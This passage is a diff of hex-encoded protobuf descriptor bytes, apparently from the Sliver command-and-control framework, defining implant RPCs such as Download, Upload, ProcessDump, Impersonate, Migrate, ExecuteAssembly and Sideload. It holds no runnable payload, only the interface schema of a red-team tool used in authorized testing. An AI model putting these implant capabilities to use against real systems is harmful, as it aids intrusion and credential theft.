0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, - 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, - 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, - 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, - 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, - 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, - 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, - 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, - 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, + 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, + 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, + 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, + 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, + 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, + 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, + 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, + 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x0e, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x23, 0x0a, 0x02, 0x50, 0x73, + 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, + 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, + 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x49, 0x66, 0x63, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x14, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x52, 0x65, + 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, + 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, 0x0a, 0x02, 0x43, 0x64, 0x12, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x64, 0x52, 0x65, 0x71, + 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, + 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, 0x4d, 0x76, 0x12, 0x0f, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x0c, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x12, 0x23, 0x0a, 0x02, + 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, + 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, + 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, + 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, + 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, + 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, + 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, + 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x05, + 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, + 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, + 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, + 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, + 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, + 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x52, 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, + 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, + 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, + 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, + 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, + 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, + 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, + 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, + 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, + 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, + 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, + 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, + 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, + 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, + 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, + 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, + 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, + 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, + 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, + 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, + 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, + 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, + 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, + 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, - 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, - 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, - 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, - 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, - 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, - 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, - 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, - 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, - 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, - 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, - 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, - 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, - 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, - 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, 